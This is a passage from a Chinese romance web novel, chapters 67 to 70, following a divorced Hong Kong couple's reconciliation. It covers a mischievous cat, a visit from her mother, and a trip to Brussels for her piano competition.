况且他一算时间,再等十天贺羡棠都要去布鲁塞尔了。她一比赛,肯定更没心思理他。 贺羡棠“哦”了声,想到之前和Mia在中环吃了家糖水还不错,就跟他说了:“这个点可能要排队。” 沈澈笑话她爱吃的跟小孩儿似的,等着听两句骂,却只听见她那边一阵钢琴乱奏的声音,接着贺羡棠不高不低地叫了一声,喝道:“Fanta!NO!下来!” Fanta? 那只橘猫? “它怎么在你家?” 贺羡棠没声音了,大概是急匆匆地把猫从钢琴上拎下来。 卧室里人仰马翻,Fanta反应灵活,一跃就从钢琴上跳走,贺羡棠抓不到它,掐着腰与它对峙。 Fanta竖起尾巴,迈着小猫步,气定神闲地在落地窗边走。 孩子静悄悄,肯定想作妖。 果然下一秒它以迅雷不及掩耳之势爬上了窗帘,贺羡棠五位数美金的窗帘顿时被它挠的惨不忍睹。 算了,只要不砸她的琴就行。 贺羡棠坐回琴凳上,发现电话还没挂断,也不知道沈澈还有没有在听,她试探性地叫了声:“沈澈?” 沈澈说:“我在。” 贺羡棠要的那家糖水店果真要排队,迈巴赫停在街边的临时车位上,司机下车去买,沈澈就趁着这个空隙处理一些工作。 他很不满:“那只猫为什么在你家?” 贺羡棠说:“赵珩出差啦,临时放到我这里养几天。” 沈澈蹙眉:“他家缺佣人养一只猫?” 贺羡棠懒得理他无由来的醋意:“挂啦,我练一会琴。” 沈澈被挂电话也不敢有怨言,隔空点了点手机屏幕,唇角慢慢溢出点笑意来。 除了糖水,沈澈还买了束花。中环有很多花店,路过一家,沈澈亲自进去。 是那种很质朴的小店,老板是位满头白发的奶奶,除了鲜切花还卖盆栽。 因是随便进的一家,花材的质量看着没有贺羡棠平日里用的好,唯有玫瑰不错,沈澈要了一束粉色多头玫瑰,搭配一点栀子花。 店主包好递给他,沈澈递出一张千元钞,问:“有没有纸笔?” 老奶奶给他找了张贺卡。他提笔写几个字,很俗的祝福,祝贺羡棠天天开心。 街对面旅客路过,瞥见这一幕,忍不住举起相机记录。穿白色T恤的男人立在花店中,怀里抱着束花,略微弯腰,仔细地写一张贺卡,只从侧面,也能看出眉眼英俊优越来。 夏天夜幕降临仿佛就是一瞬间的事情,迈巴赫沿着大浪湾道开,驶入那道铁艺门时,天已经彻底黑了。 一轮弯月,几点星光,照着漆黑的车身朝那栋三层别墅驶去。 贺羡棠正在吃晚餐。 沈澈放下花和糖水,在她对面坐下。贺羡棠让管家给他备碗筷,他左手小臂还戴着支具,只能用右手吃东西。 隔着长餐桌,贺羡棠先瞥了眼玫瑰,才抬头看他。沈澈居然破天荒地穿了白T和牛仔裤,青春洋溢,不像三十多岁的男人。 贺羡棠说:“你这样有点像男大学生。” 平白年轻十多岁,沈澈很高兴:“是么?我也觉着我挺年轻的。” 给点颜色就能开染房,贺羡棠轻“哼”了声,伸手去拿糖水。 沈澈曲指敲了下桌:“先吃饭。” 贺羡棠哼着歌:“你管我呢。” 莲子雪耳糖水,贺羡棠摸着打包盒,手心温温热热,她眉飞色舞的小表情一瞬间垮下来:“怎么是热的?” 连十二月份,她都要吃冰。 沈澈喝一碗生滚牛肉粥,他行动不便,一小勺一小勺的,动作依旧优雅。 “你快到生理期了,不能吃冰的。” 贺羡棠小声嘟囔:“老古板。” 热的糖水在贺羡棠看来和粥没什么区别,只能聊解口腹之欲。 饭后他们俩出去散步。晚上气温凉爽些,庭院开阔,沿着林荫道走,还能看见海岸线。 灯光微弱,有点点萤火虫飞舞,像在前面引路。 数不清两人有多久没能心平气和地一起散步,贺羡棠心生感慨,其实如果这一天能出现的更早一些就好了,但现在也不错,即便某些心愿被延迟满足,他也总归是被满足了。 在经历过一场生死离别之后,贺羡棠已经不想去计较过往了,就像那句很俗的话,明天和意外,谁也不知道哪个先来。她更想活在当下。 贺羡棠靠在沈澈左侧,歪头看他,沈澈察觉到她的目光,也偏过头看她。 贺羡棠笑了下,这个人还是再停职察看一阵吧。 沈澈也跟着笑,笑了半晌反应过来有点傻气,板起脸问:“你什么时候去布鲁塞尔?” 贺羡棠揉了下手腕:“月底。” 沈澈立刻问:“手腕不舒服?” “有一点点酸,可能是最近有点累。”说完,贺羡棠的手又被碰了一下,已经是第六次了,她终于忍无可忍,“你别动手动脚的!骨折了还不老实!” 沈澈收回手,颇为低落地“哦”了一声:“我的手也有点疼。” “你活该。” 贺羡棠转身,原路折返,沈澈跟上去,喋喋不休道:“你注意休息,也别练那么久,放松一点就好,他们不把冠军给你还想给谁?” 贺羡棠说:“你好啰嗦。” 沈澈悻悻然地闭上嘴。 夜色温柔,繁茂树叶间盏盏灯光洒落,沈澈趁贺羡棠不注意,又去牵她的手,不出意外又被拍开。 他摇头自嘲,怎么像个刚坠入爱河的毛头小子一样? 又走了一阵,沈澈一抬眼,面前赫然是他那辆迈巴赫,贺羡棠替他拉开车门,笑的眉眼弯弯:“沈董,请。” 沈澈:“……” 沈澈挣扎了下:“我今晚能不走吗?” 贺羡棠板起脸:“不是你说要追求我?你见哪个追求者会住到被追求者家里!” 沈澈说:“好吧。” 贺羡棠摆摆手,拾阶而上,晚上她还要练琴。 练到十二点! 只是刚走上台阶,身后一阵脚步声,贺羡棠转过身,见沈澈三两步跑上来,一口气都没喘匀,双手就捧起她的脸,在唇上飞速亲了一口。 他眼睛亮的像落入了一道银河。 贺羡棠正要发作,沈澈皱起眉,左手悬在空中不敢动。 于是她那点火气偃旗息鼓,骂他:“不要乱动啊!落下残疾我就不要你了!” 沈澈笑起来,右手点了下自己脸颊:“礼尚往来。” 礼尚往来居然是这么用的?贺羡棠震惊:“流氓!” 沈澈忽然说:“谢谢你,cecilia。谢谢你还愿意原谅我。” 在摩洛哥见沈万州的那两个孩子时,他原本做好了孤身一生的准备。如果贺羡棠不再要他,他就在沈家旁支里选个孩子过继,或者将来把这份家业交给沈濯的孩子。 万幸。 沈澈描着贺羡棠眉眼,心说,命运待他不薄,他真是好福气。 【作者有话说】 bug了,这一章六点多的时候莫名其妙发出去一下,后来又进存稿箱了,jj我讨厌你!!! 68 第68章 ◎“听着像撒娇。”◎ 一张照片突然在国内社交平台上走红,照片上,男人穿着简单的白T牛仔裤,怀中抱一束花,正低垂着头,认真地在贺卡上签字。 花店招牌刷着墨绿色的漆,蝴蝶兰盆栽排列整齐,天色将暗未暗,为这张照片蒙上了港风氛围感。 照片是一位在香港旅游的游客发出来的,当时只是觉得好看,并未多想,谁知道帖子一发出去,瞬间上了热搜。 照片上的主人公很快也被扒出来。 “看着有点像沈澈。” “他不是结婚了吗?怎么还这么年轻?” “是晏宁男朋友的大哥吗?” “有钱人居然也会亲自买花啊?” “买给谁的?” “都结婚了不买给老婆难道买给小三吗?” “不一定哦,他跟他老婆是商业联姻,还和叶微传过绯闻。” 贺羡棠不常看大陆的社交平台,对这一切全然不知,她扫过卡片上那行锋芒毕露的字迹,吩咐管家把鲜花插瓶送到她卧室去。 练完琴十二点,她手腕酸痛,贴上膏药,右手捞过手机看消息,Mia发来一张照片,附言:“他给谁买花?” 贺羡棠走到主卧,随手拍了张照发过去:“我啊。” Mia两眼一黑,犹豫再三,也到那个社交平台上发帖:“劝分无数次的闺蜜又和他男朋友复合了怎么办!” / Fanta来贺羡棠家近一周,在打碎三个花瓶后,已经完全适应了这里的环境。午后阳光和煦,它正迈着优雅的步伐在庭院里巡视,忽然,嗅到一股强烈的香气,一路追寻来到餐厅,一跃跳上长桌。 林樾拆了一盒三文鱼喂它。 Fanta有奶就是娘,躺在桌上露出肚皮给她摸。 林樾一边给它顺毛一边问贺羡棠:“吃一块虾饺吧?” 贺羡棠恹恹的:“不想吃。” “那咖喱鱼蛋呢?” 贺羡棠拉长调子:“妈咪——” “好好好。”林樾放下筷子,“不吃了我们不吃了。” 她目光闪烁着,轻抿一下唇,还是决定再开口:“cici呀……” “妈咪,我已经三十多岁了,”贺羡棠一字一顿道,“可以自己去参加比赛。” 林樾支着额头叹气。 贺羡棠后天要赴布鲁塞尔参加一场比赛,比什么赛不要紧,但作为母亲,她当然不想错过孩子人生中任何一个重要时刻。 可林樾在提出陪同贺羡棠一起参赛后,居然遭到了她强烈的反对。 林樾有点伤心。 其实她原本还打算全家出动。 “这么重要的事情,妈咪当然不想错过啊。”林樾说,“而且我还可以帮你拍照记录下来。” “也不是很重要,只是玩玩而已,”贺羡棠故作轻松,“你这样我才会有压力。” 林樾很伤心。 她居然变成了一种压力。 她垂着头不说话,神色黯淡,半晌叹了口气:“唉——你们都长大了,就开始嫌弃妈咪了,可是妈咪还能陪你们多久呢?” 贺羡棠应激似的,“嗖”一下站起来,噔噔噔跑到林樾跟前蹲下,扶着她膝盖说:“我错了,我没有嫌弃您的意思。整个赛事持续的时间太长了,决赛要七月底,我是担心您在布鲁塞尔会无聊。” 林樾笑起来:“那说好了,等到决赛我再去看你!” 看她那表情,哪有一点伤心的样子。贺羡棠摸摸鼻尖,心想又被她骗到了。 一瞬间贺羡棠脑海里闪过了“姜还是老的辣”,“她妈走过的路比她吃过的盐都多”,“她走过最长的路是她妈的套路”等等词条。 贺羡棠愤然:“您欺骗我感情!” 林樾忙道:“说好了啊!不准耍赖!” 林女士心满意足地跳着华尔兹转着圈走了。 其实贺羡棠不想林樾一起去,一则是她怕自己压力大,二来是…… 沈澈会陪她去。 她的感情悬而未决,最好暂时还是不要让林樾知道。 提出一同陪她去的还有Mia。 “布鲁塞尔?好像有点无聊,这比赛怎么在那儿?” “不知道,传统吧。” Mia思索一会儿:“好吧,不过我还是愿意陪你去的。” 贺羡棠没意见:“我中途有段时间可能比较忙,你可以去欧洲别的国家逛逛。叶微是不是还在欧洲工作?你也可以去找她玩。” 沈澈很不高兴,明明三人同坐在餐厅喝下午茶,他还是只跟贺羡棠说话:“她自己没事情做吗?” Mia翻他白眼:“我就是没事情做啊!” 她自从成年以后就没工作过,哦不,她生下来之后就没工作过。虽说对外有一个家族酒店总经理的名头,但那只是让她听起来没那么不务正业而已,实际上她从来没关心过酒店的任何事务。 就算哪天酒店倒闭了,她也不关心。 Mia也扭头问贺羡棠:“他老年痴呆了吧?” 沈澈说:“研究表明,每多工作一年,患阿尔茨海默症的风险就会降低3.2%,某些从来不工作的人才更应该担心这个问题。” Mia冷笑了声:“所以就变成了把老婆搞丢的工作狂么?有意思。” 这是沈澈的七寸,他敢怒不敢言,小心地觑贺羡棠的脸色。 Mia乘胜追击:“而且,某些人应该庆幸只有我陪你一起去,赵珩和叶微都没时间。” 沈澈咬紧后槽牙。 Mia扬了下眉毛,看沈大少吃瘪是她最近才发掘的人生一大乐趣:“gameover。” 忍无可忍。 沈澈右手单手抱起贺羡棠,上楼,在旋转楼梯上居高临下地往下望,Mia微微张着嘴,一脸“我真服了”的表情。 他微笑着说:“gameover。” 贺羡棠拍他的背,笑骂:“你幼不幼稚?放我下来啊!” 沈澈说:“别乱动,我可只有一只手能托着你。” 贺羡棠真有点怕摔下去,双手搂着他脖子,小声吐槽:“你不行就别逞能。” 沈澈把人摔进床上:“谁不行?” 贺羡棠摸了下他左手小臂:“你,身残志坚。” “你有没有听说过一句话,”沈澈低头,用鼻尖蹭贺羡棠的鼻尖,在节节攀升的室温中,他压低声音,一点暧昧的情愫不言而喻,“不能说男人不行。” 贺羡棠被他弄的有点痒,仰着头躲,沈澈顺势吻上她的唇,然后又去寻她的下巴。 贺羡棠像一只被取悦了的猫咪,从鼻腔里哼出舒适的声音,沈澈愈加努力,细密的吻落在她脖颈和锁骨上。 贺羡棠软着身子闭上眼,小腿蹭过柔软的高支棉床品,脚趾蜷起来。 “你别闹……” 午后。 Mia还在楼下。 而且…… 贺羡棠猛地清醒过来,推开他:“不行不行,我要去练琴。” “后天就比赛了。” “对呀!后天就比赛了!”她用的左手,手腕一用力,有点酸酸胀胀的感觉,贺羡棠甩甩手,“有点疼。” 沈澈轻车熟路地给她拿药膏,轻轻扯过她手腕上药,清凉的薄荷味在卧室里弥漫开来。 他涂的好仔细,怕弄疼贺羡棠,所以很轻很慢。 贺羡棠盘腿坐在床上,无聊到玩头发。 去年十一月剪的短发,如今又长出来了,她询问沈澈的意见:“我要不要把头发再剪短?” 沈澈掀起眼皮端详她,过了会儿说:“不要。” “为什么?” “长头发好看。” 不知为何,贺羡棠并不想遵循他眼里“好看”的标准,那点叛逆小小地萌芽:“明天我就剪短。” 沈澈笑她:“叛逆期一样。” 贺羡棠说:“我现在就剪!自己剪!” 说着要去拿剪刀,沈澈按住她手腕:“别乱动,休息一会儿。” 贺羡棠“哼”了声,倒是没动。 沈澈又给她缠护腕,弄完了来亲她,是一个很具有侵略性的吻,贺羡棠招架不住,在暧昧的水声里,几乎也要融化成一滩水了。 她靠近沈澈怀里:“不要……” 沈澈解开她家居服的纽扣,浑圆莹润的肩膀被剥出来。 男人掌控全局:“听着像撒娇。” “真不行。”贺羡棠握住他的手,抬起眸,用一双湿漉漉的眼睛看他,“我今天……那个……” 沈澈深吸一口气,闭上眼缓了缓,手心贴在她小腹上:“疼不疼?” 贺羡棠摇头。 小心翼翼地挪动屁股从他身上爬起来。根本不能有任何身体接触,太容易擦枪走火。 爬着爬着,她忽然想起来,这人明明是说要追她的。 刚回国那天,还知道送束花。如今再来,竟然已经会空着手了! 现在这样,怎么看她都像是已经被追到手了! 这叫什么?这叫男人得到了就不珍惜! 还就会动手动脚亲亲抱抱的。 贺羡棠大惊。 她原来这么好追吗?! 不行!这也太不公平了。 贺羡棠有点生气,转身踢了沈澈一脚。 沈澈瞪大双眼:“点?” 贺羡棠说:“我不要理你了!” 沈澈盯着她,不知道她哪里来的火气,只好归结于经期的激素波动。 只是他仍颇为疑惑:“你会变脸?” 一瞬间晴空万里,一瞬间阴云密布。 他脑子一抽:“你不应该学钢琴,去唱川剧,早成角了。” 69 第69章 ◎“不愧是赵珩养的猫,专咬情敌!”◎ 贺羡棠生气了,扭身扑过去,一口咬在沈澈肩膀上。 她用了八分力,在那上面留下一个湿漉漉的牙印。 其实也就是句玩笑,可贺羡棠临近比赛,精神紧张,听不得一点不顺耳的话。 什么叫应该去学川剧?难道她的钢琴弹的很差吗?! 谁会去学川剧啊! “点?”沈澈也没躲,等贺羡棠咬完了,掰开她的嘴摸她牙齿,“啧,这么利,咬人真疼。” 他还有脸问? 贺羡棠气冲冲地爬下床:“我要练琴了!”她喊管家,“送客!” 被送的“客”毫无自觉,且不知道是什么时候修炼出的厚脸皮,面不改色:“送什么客?谁是客人?Mia吗?” 贺羡棠瞪他。 沈澈微笑回望。 “你完了。”贺羡棠说,“我现在不允许你跟我一起去布鲁塞尔了。” “我错了。”沈澈指着没被咬的那边肩膀,“你再咬我一口吧。” 贺羡棠毫不客气,一口又咬下去。 左右两边,两个牙印,很对称。沈澈顺势埋在她颈窝里亲了一口,软声哄她:“我开玩笑的,没有说你钢琴弹的不好的意思,你已经是世界一流的钢琴家了。” 他搂着贺羡棠的腰,心里有一块位置也随之软下去。三十多岁了,居然第一次体验到谈恋爱的感觉。 这感受很奇妙,沈澈像踩在云端,心里轻飘飘的,像一只春风中的纸鸢,而风筝线握在贺羡棠手里。 贺羡棠揉着腮“哼”了声:“我也是闹着玩的。” 咬的太用力,她脸颊有点酸。 沈澈问:“还送客吗?” 贺羡棠摇了下头。 沈澈说:“送啊!” 贺羡棠:“?” “你快把Mia送走。”沈澈不满地蹙眉,“她自己没男朋友吗?总缠着你干什么?” 贺羡棠心想贺少川真的算是她男朋友吗。 她作为妹妹,和Mia最好的朋友,却始终秉持着不插手两人感情之事的原则,很少在两位当事人面前多听多问,以至于上次Mia从瑞士回来后,贺羡棠对他们俩究竟在搞什么也有点云里雾里。 说是恋人吧,Mia很明显不想和贺少川结婚,偶尔他们出去玩,Mia还照旧找年轻小男生聊天。说不是恋人吧,贺少川那副不值钱的样子实在是太明显了。 贺羡棠问沈澈:“你有什么八卦吗?” “我唔知。”他也不是那么有时间关注前大舅哥的八卦,“不过……周聿安的你要听吗?” 贺羡棠捂住耳朵:“渣男!” 沈澈说:“那算了,也不是什么很值得听的事情。” 贺羡棠缓缓放下手:“不然你还是讲一下吧。*” “他要结婚了。” 贺羡棠愣住:“omg。” 还挺爱听八卦,好可爱。 沈澈把人往怀里带,趁她呆头呆脑还沉浸在吃到瓜的震撼之中,在她脸颊上亲了一口:“是大陆人,银行系统内一位官员的女儿,女方的父亲快不太行了,所以草草定下婚事。” 贺羡棠:“哦……” 不过也合理。 银行啊,官员啊,又是一桩联姻。 贺羡棠喃喃:“还好叶微早就和他分手了。不过以后你还是离他这种人远一点……” 沈澈问:“哪种人?” 贺羡棠愤然:“出轨、劈腿、脚踩两只船!既不忠诚也不聪明!” 沈澈笑起来:“还没复婚就开始管我的交际圈了?” 贺羡棠蹙眉:“你少做白日梦,谁说要跟你复婚了?而且……”她伸手戳他肩膀,“你现在连炮友都不是了,想什么好事儿呢?” “你和Mia一样,也是不婚主义?” 贺羡棠呲牙咧嘴:“我可以是。” “好吧。”沈澈抓住一切机会表忠心,“如果你想当一辈子的不婚主义,那么我也愿意一辈子没名没分地跟着你。” 好幽怨的一番话,贺羡棠板着脸说:“你有这个觉悟就很好。” 一秒后就破功,伏在他肩膀上笑的直不起腰。 伴着银铃般的笑声响起的,还有贺羡棠的电话。贺羡棠擦了擦眼角笑出来的泪花,点接通。 Mia冷酷无情道:“没关系,你继续在楼上和某人卿卿我我,我是个可以被冷落被忽视的透明人。” 贺羡棠:“啊……!” 她忘了Mia还在楼下! “我错了。”贺羡棠把小脑袋埋在Mia肩膀上,“我没有忘记你,真的,我发誓。” Mia怀里抱着Fanta,冷笑了声。 “我只是觉得你在我家和在你家没什么区别,也不需要我特地招待的,对吧?”贺羡棠挂着标准的笑卖乖,“我家就是你家,你就是这的主人!” Mia看向沈澈:“那他呢?” 贺羡棠斩钉截铁道:“他是客人!” 沈澈揉着眉心。 好,闹了半天她是主人他是客。 Mia“哦?”了声,尾音上扬,带着疑惑和威胁。 完了,哄不好了。 “你先走吧。”贺羡棠一狠心,对沈澈说,“一会儿我也要练琴了,我们布鲁塞尔见。” 沈澈说:“你后天才去布鲁塞尔。” 明天也不能见? 贺羡棠说:“明天要收拾行李,还要练琴,没有什么时间。” 沈澈不可置信地指着Mia:“你为她,赶我走?” 自古闺蜜男友难两全。不过沈澈现在连个男友的位子都没混上,贺羡棠的天平迅速朝Mia倾斜,略微点了点头。 沈澈深受打击。 Mia仰起头,挂着胜利者云淡风轻的微笑。 贺羡棠心虚地揪手指玩。 而Fanta,探着头四处张望,被沈澈左手上的支具吸引,眼睛滴溜溜地转着,忽然一跃跳起来,精准无误地跳到了他身上。 沈澈下意识伸出右手挡住,闻到危险气息,Fanta也下意识亮出爪子。 电光火石之间,三人一猫都没反应过来,贺羡棠看着沈澈右手小臂上三道血淋淋的伤痕,顿时一个头两个大。 “NO!Fanta!” “它以前从不这样的。”贺羡棠匆忙喊管家拿来药箱,苍白无力地解释,“虽然它会抓坏窗帘,会忽然蹦到我的钢琴上,会打碎花瓶,但其实它很乖。” 沈澈微微扬起眉:“很乖?” 贺羡棠点头,滤镜比亲妈都厚:“很乖!” 虽然受伤,但沈澈顺理成章地留下来了。 香港并非狂犬病疫区,Fanta也已经打过疫苗,自从被赵珩收养后也没有和其他猫狗接触过,因此也没有去打狂犬疫苗的必要。 贺羡棠在小药箱里翻出镊子和消毒棉球,仔仔细细地给沈澈消毒。 沈澈左手骨折戴着支具,右手被猫挠出三道血痕,肩膀上还扛着两个贺羡棠的牙印。贺羡棠都有点心疼他了。 “你最近怎么回事,是不是走霉运?” 沈澈幽幽地说:“可能因为我不是这里的主人吧。” 贺羡棠:“……” 沈澈说:“客人不受欢迎也是很正常的。” 贺羡棠:“……” 沈澈又说:“算了,我还是回家吧。” 贺羡棠放下碘伏棉球,换双氧水,拧开瓶盖就往他伤口上倒。 沈澈“嘶”地倒吸冷气,差点没忍住从沙发上跳起来。 “差不多了。”贺羡棠把她的小药箱整整齐齐码好,淡声说,“慢走不送。” 沈澈:“……” 得。把自己架这儿了。 贺羡棠垂着眸,长而密的睫毛盖住了眼底灵动的神采,嘴唇紧紧抿着,一点笑意还是从忍不住上扬的唇角流露出来。 她心想,装啊,你继续装。 沈澈凑近她,耍赖似的小声说:“我不走。” 不走就不走吧。贺羡棠说:“我真的要去练琴了。你在楼下玩一会儿,吃晚餐再叫我。” 沈澈点点自己脸颊:“亲一口再去。” 贺羡棠无视:“流氓。” / 事发之后,Mia第一时间拎着肇事猫逃离事故现场,在餐厅给它开了一个罐罐,一边顺着Fanta后背上的猫一边夸:“哎呀我们Fanta真棒!” “不愧是赵珩养的猫,专咬情敌!” “怎么这么会呢?Fanta。” Fanta尾巴竖的高高的,吃饱了,迈着轻盈优雅的步伐跃下餐桌,照旧去庭院里巡视它的领地。 忽然,一阵汽车引擎声由远及近,温热的尾气喷了它一屁股,Fanta警惕地看着面前这个庞然大物,黑色流畅的车身在阳光下锃亮,司机打开门,弯腰,手搭在车顶,请出后座一位穿着白色套装的女士。 “Fanta?”女人抱起猫,“你还在外面玩呀?cici呢?” “cici——”林樾一手抱着Fanta,一手拎着鳄鱼皮包包,小跑着跳上台阶,小高跟踩在大理石地面上,“噔噔噔”地响,“cici啊,我给你熬了鸡汤,走地鸡,用五指毛桃炖了好几个小时,趁热喝才靓哦!” 客厅里,沈澈和Mia正有来有往地拌嘴,听到这道熟悉的声音,双双停下。 “C……”林樾看看Mia,又看看沈澈,这一声唤也堵回喉咙里。 Mia在这儿很合理。 可沈澈为什么也在这儿? 贺羡棠那棵海棠树不是给他送回去了吗? 连夜挖走的,院子里留下好大一个坑,林樾嫌丑,还特意让人新买了棵三角梅种上。 她不解:“澈仔怎么在这儿?” 沈澈站直身子,脊背因为紧张绷的紧紧的,不知怎么解释,只好接过她的包,殷勤道:“阿姨累了吧?您稍坐,我去泡茶。” 林樾坐在沙发上,半晌缓过神来,扭头看他在厨房里忙碌的背影,恍惚间觉得他更像这个家的主人。 【作者有话说】 这本还有几万字就更完啦,或许大家有兴趣收藏一下俺下一本吗π_π是本小甜文哦! 70 第70章 ◎打情骂俏的滚出去。◎ 贺羡棠有点懵:“妈?” 林樾也有点懵:“cici?” “您怎么来了?”贺羡棠挨着沈澈坐下,略一思索,心想不妥,悄悄挪了下屁股,恨不得离他八丈远。 “来送鸡汤。” 沉默…… 林樾端起茶杯掩饰尴尬,视线从杯沿越过去,悄悄打量贺羡棠和沈澈。 她的女儿她最了解。贺羡棠目光飘忽不定,小动作奇多,一会儿摸摸鼻子一会儿揉揉耳朵,一看就心虚。 至于沈澈,正襟危坐不苟言笑,看上去居然有点紧张。 这几个孩子都算她看着长大的,只有沈澈心思最重,从小就让人看不透在想什么,从来没见他什么时候紧张过。 林樾谨慎地开口:“你们……?” 贺羡棠紧张,嘴比脑子跑的快:“他来找Mia。” 沈澈:“?” Mia:“?” 好拙劣的理由,贺羡棠找补,用手肘碰了碰沈澈:“对吧?” 沈澈:“……对。” 林樾“哦”了声。 她不是老古董,孩子们都这么大了,应当能处理好自己的事情,何况贺羡棠马上要飞往布鲁塞尔,林樾也不想在她比赛前影响她的心情。 “那你们聊,我就先走了。” 贺羡棠胡乱点头。 总算搪塞过去了。 沈澈起身:“我送您。” 一路将林樾送至廊下,她的司机等在外面,林樾转身一扫,贺羡棠和Mia手挽手落在后面,不知道在嘀咕些什么。 沈澈的礼节一向周到,对待林樾比对郑婉秋还体贴些。礼尚往来,林樾随口关怀:“最近工作如何?” “劳您牵挂,一切都好。” 林樾说:“年轻人有事业心是好事,也要注意身体。” 沈澈颔首:“明白。” “钱是赚不完的,”林樾拍了下他肩膀,语重心长,“别再因为这个忽略了身边的人。” “以前是我不懂事,”沈澈目光闪烁,语气严肃认真,“以后不会了。” 林樾的车开走,贺羡棠才慢吞吞地跟上了。 沈澈愣在原地,不知在想什么。贺羡棠问:“妈跟你说什么?” “随便聊几句。”沈澈回过神,缓缓笑了下,揽住她的腰往回走,“回家了。” / 布鲁塞尔。欧盟和北约总部所在地,但是治安一般,沈澈因此安排了三名保镖随行。 一行人抵达目的地,已经是傍晚六点钟。贺羡棠在飞机上没胃口吃东西,一落地就喊饿,带着沈澈和Mia去吃一家网上推荐的餐厅。 布鲁塞尔菜很有一种粗犷的特色,吃烤肉,喝啤酒、调味用的酱汁浓郁醇厚,同时也是吃土豆大国。 贺羡棠很喜欢,点了烤猪肋排,土豆泥,鸡胸肉沙拉,白葡萄酒煮贻贝。 “还有……carbonnade。”贺羡棠将菜单还给服务员,甜甜地道谢。 红酒炖牛肉。 沈澈莞尔:“这道菜吃完你就醉了。” 贺羡棠一撅嘴:“看不起谁啊?” 沈澈用热毛巾擦手,一根根手指擦的很仔细,偏偏慢条斯理的动作里又格外优雅,贺羡棠托着腮看他,想到十年前,偶尔参加晚宴,她在人群里偷偷看他,他仿佛和现在并无二致。 唯一的区别就是,现在的沈澈会笑。 沈澈唇角上扬,语气揶揄:“不敢。” 贺羡棠那点旖旎的心思都跑光了。 菜上来,她抱着块烤猪肋排闷头啃,决定不再理沈澈,一抬头,沈澈伸出手,十分自然地帮她理了下碎发。 他的手指不可避免地擦过她耳朵,痒酥酥的,贺羡棠耳垂迅速染上一层薄粉。 沈澈靠近,揉了下她耳朵,低声问:“这里这么敏感?” 他故意的。 这只是一家人均不到一百欧的普通餐厅,周遭乱哄哄地热闹,服务员操着一口法语穿梭在顾客之间,墙上一方屏幕转播足球比赛,隔壁桌的大胡子比利时人高声喝彩,啤酒咕嘟咕嘟地冒着汽儿,装点炎热的夏夜。 他!一定!要在这里!问!这么!暧昧的!话!吗! 幸好贺羡棠现在已经是一个成熟女人了,她不动声色地深深吐出一口气,也小声道:“有点想你。” 她脸不红,心脏疯狂跳。 想撩人一下的,怎么先把自己弄成这样了? 贺羡棠抓过水杯灌了一大口。 她说什么? 想他…… 想…… 他…… 脑海里有回声,只剩下这两个字,三百六十度旋转跳跃,沈澈一下没忍住,差点想现在、立刻、马上抱她回酒店。 他沉默一瞬,调整呼吸:“晚上……” 贺羡棠心跳渐渐恢复正常了,笑的特灿烂:“晚上什么晚上?你晚上想干什么?我生理期还没结束呢!” 沈澈:“……” 反将一军,贺羡棠别提多开心了,抱着她的猪肋排继续啃,啃完了擦擦手指,还哼点歌,嗯嗯啊啊地听不清歌词,旋律倒是挺欢快的。 沈澈哭笑不得,捏了把她的脸。 Mia实在忍无可忍:“打情骂俏的滚出去。” 沈澈微微一笑:“怎么还生气了?” 他讲究,说话弯弯绕绕,这句话翻译一下就是——“无能狂怒的滚出去”。 贺羡棠夹缝生存,往嘴里塞了块炖牛肉。 尘世的纷纷扰扰与她无关。 枪林弹雨里,她的眼中只有这顿饭。 Mia翻白眼,夹着嗓子学他的语气:“怎么还生气啦~yue!” 妈的,最烦装逼的人! 估计从来没有人敢在沈澈面前贴脸开大,贺羡棠一秒破功,笑着去推Mia胳膊:“你……哈哈,你别闹了。” Mia问:“你哪天初赛?” 贺羡棠细数:“后天,然后休息几天,是半决赛,半决赛之后有一个集中准备的活动,月底才能决赛。” 初赛她并不放在心上,在古典音乐届混过这么多年,好歹当初也成过名,这点自习还是有的,如果连初赛都过不去,那肯定是赛事组有黑幕。 “行。等你初赛结束,我就去找叶微。” 七月,巴黎秋冬高定时装周,叶微连续走Brighten的两场秀。Mia去捧个人场,顺便看看有没有什么想买的。 更重要的是…… Mia盯着沈澈:“我跟这姓沈的一天也待不到一块去。” 沈澈说:“真巧,我也是。” 贺羡棠摊摊手:“OK,Fine。” 晚餐后贺羡棠提议四处逛逛,Mia不想在他们俩之间发光发热,就先回酒店了,此举深合沈澈之心。 便衣保镖不远不近地跟着,沈澈牵着贺羡棠的手散步。 日落之后,尚未入夜,华灯初上,鸭蛋青色的天空下,被维克多雨果盛赞过的布鲁塞尔大广场别有一番风味。 花岗石铺砌的地面两旁,哥特式的建筑高耸,贺羡棠仰头看外立面的雕塑,十几世纪的建筑了吧?颇有庄严肃穆之感。 市政厅的塔楼上有金色的圣米迦勒骑士像。 贺羡棠和沈澈闲聊:“SaintMichae?是不是布鲁塞尔的守护神?” “应该是吧?大天使?” 俩人对宗教都不太感兴趣,贺羡棠在市政厅门前驻足:“是纯金的吗?” “不能吧,是的话早就被偷了。” “这么高。” 沈澈说:“不要小看欧洲的小偷。” 贺羡棠忍俊不禁。 大广场附近有很多巧克力店和纪念品店,贺羡棠很喜欢逛这些小店,买的薄荷味巧克力球,一颗接着一颗地往嘴里扔,又买了玩偶和冰箱贴,都让沈澈拎着。 沈生任劳任怨,所有东西都用右手拎着,尚未完全恢复的左手去牵贺羡棠,游客很多,他牵的很紧。 走到教堂,听见琴声。贺羡棠想进去看看,欧洲这边的教堂其实千篇一律,高高的拱形顶,石柱,绘圣经故事的彩色玻璃窗,一走进去,感觉人很渺小。 他们牵着手穿过中殿,雄浑的乐声飘扬回荡,可能千百年前牧师也在这样的乐声中注视着墙上的壁画。 是巴赫十二平均律中的一首。 很巧的是,后天贺羡棠也弹这一首。 她对着壁画上西方不知道哪位天使还是神仙,默默祈祷。 天啊,她都三十多岁了,好不容易有一点事业心,就成全她吧。 沈澈在想另一件事情。这所教堂是比利时王室办婚礼的地方,他曾在此参加过见证过一场婚礼。 沈澈碰了下贺羡棠的手。 贺羡棠轻声问:“怎么啦?” 沈澈说:“如果,我是说如果……” 他少有的欲言又止,贺羡棠:“嗯?” “如果要办一场婚礼,你想选在哪里?教堂还是古堡?” 他们上一场婚礼办了三天,王室政要,各界名流皆到场,也因此不是一场能够随心所欲的婚礼。 沈家下一代的继承人和贺家的二女儿联姻,那一场婚礼办的风光无限,是港岛盛事,时至今日哪家办喜事,也常被媒体再度提起,称之为一场真正的“世纪婚礼”。 但沈澈知道贺羡棠不喜欢。 那几天里他忙着应付各界来宾,忙着往来应酬,并没什么即将要迈入婚姻的喜悦,连讲婚礼誓词,都像在赶流程。 